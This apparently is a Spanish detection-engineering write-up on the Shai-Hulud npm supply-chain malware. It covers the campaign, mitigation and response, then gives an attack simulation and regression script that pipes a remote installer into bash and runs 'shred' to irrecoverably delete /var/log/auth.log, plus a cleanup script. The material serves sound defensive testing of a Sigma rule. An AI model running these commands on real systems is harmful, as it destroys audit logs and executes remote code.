Shai-Hulud: Ataque generalizado a la cadena de suministro de npm

Resumen

GitLab divulgó una intrusión generalizada en la cadena de suministro dirigida a los ecosistemas de npm. La campaña promueve una variante actualizada del malware Shai-Hulud a través de scripts preinstalados maliciosos. Esta carga recopila credenciales de nube y de alojamiento de código, envía datos a repositorios de GitHub controlados por el atacante y se propaga aún más al republicar paquetes troyanizados. Un interruptor de seguridad incorporado puede borrar o corromper archivos de usuarios si se interrumpe la infraestructura del atacante.

Investigación

El equipo de investigación de vulnerabilidades de GitLab rastreó la actividad hasta paquetes npm contaminados cuyo archivo package.json modificado hace referencia a un cargador setup_bun.js. Este cargador instala el entorno de ejecución Bun y dispara una carga útil bundled bun_environment.js que recopila credenciales, ejecuta Trufflehog para descubrir secretos y sube los resultados a un repositorio público en GitHub. El malware también crea nuevos repositorios de GitHub como buzones de entrega y abusa de los tokens de npm robados para republicar paquetes comprometidos. Si se pierde el acceso tanto a GitHub como a npm, la carga procede a borrar o sobrescribir archivos de usuario.

Mitigación

GitLab recomienda que las organizaciones inspeccionen las dependencias de npm en busca de scripts de preinstalación inesperados y validen la integridad de los paquetes publicados. Los equipos deben eliminar los cargadores setup_bun.js no autorizados, revocar los tokens de npm y GitHub expuestos, y vigilar los repositorios sospechosos en GitHub marcados con la etiqueta “Sha1-Hulud: The Second Coming.” La protección de endpoints debe configurarse para bloquear scripts de Node no confiables y detectar las líneas de comando destructivas documentadas en el informe.

Respuesta

Cuando se detecta actividad, aísle el sistema afectado, revoque todas las credenciales comprometidas y elimine los paquetes npm maliciosos de los registros internos. Realice una revisión forense para confirmar o descartar la exfiltración de datos y la destrucción de archivos. Emita nuevas credenciales para las plataformas en la nube y GitHub, y monitoree continuamente GitHub en busca de repositorios recién creados que coincidan con la marca del atacante. Finalmente, refuerce las tuberías CI/CD para prohibir scripts de preinstalación arbitrarios.

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Narrativa del Ataque y Comandos

El adversario ha ganado una posición en el host Linux comprometido. Para establecer un entorno de ejecución persistente capaz de ejecutar más cargas útiles basadas en JavaScript, descargan e instalan el entorno de Bun a través de una sola línea que transmite el instalador directamente a bash. Inmediatamente después de confirmar que el entorno de ejecución está presente, el atacante activa un “interruptor de apagado” (simulado aquí por un sleeptemporizado) que lanza una operación destructiva shred para eliminar irrecuperablemente un archivo sensible (/var/log/auth.log).

Los pasos son:

1. Descargar e instalar Bun:

   curl -fsSL https://bun.sh/install | bash

2. Esperar brevemente (simulando el tiempo del interruptor).
3. Ejecutar shred destructivo:

   shred -uvz -n 1 /var/log/auth.log

Ambos comandos generan eventos de creación de procesos que coinciden con las palabras clave exactas de la regla Sigma.

Script de Prueba de Regresión

#!/bin/bash
# -------------------------------------------------
# Simular comportamiento “Bun install + shred” de Shai‑Hulud
# -------------------------------------------------

# 1️⃣ Instalar Bun (comando exacto requerido para la detección)
echo "[*] Instalando entorno de Bun..."
curl -fsSL https://bun.sh/install | bash

# Pausa corta para emular tiempo realista
sleep 5

# 2️⃣ Realizar borrado destructivo de archivos (comando exacto requerido)
TARGET_FILE="/var/log/auth.log"
if [[ -f "$TARGET_FILE" ]]; then
    echo "[*] Borrando $TARGET_FILE ..."
    shred -uvz -n 1 "$TARGET_FILE"
else
    echo "[!] Archivo de destino no encontrado; creando archivo ficticio para demostración."
    echo "dummy data" > "$TARGET_FILE"
    shred -uvz -n 1 "$TARGET_FILE"
fi

echo "[*] Simulación completa."

Comandos de Limpieza

#!/bin/bash
# -------------------------------------------------
# Limpiar después de la simulación de Bun/Shred
# -------------------------------------------------

# Eliminar cualquier archivo residual de Bun (si está instalado)
if command -v bun >/dev/null 2>&1; then
    echo "[*] Eliminando entorno de Bun..."
    rm -rf "$HOME/.bun"
    rm -f /usr/local/bin/bun
fi

# Recrear el archivo de registro partido (para la estabilidad del sistema)
TARGET_FILE="/var/log/auth.log"
if [[ ! -f "$TARGET_FILE" ]]; then
    echo "archivo de registro de marcador recreado" | sudo tee "$TARGET_FILE" >/dev/null
    sudo chmod 600 "$TARGET_FILE"
fi

echo "[*] Limpieza completa."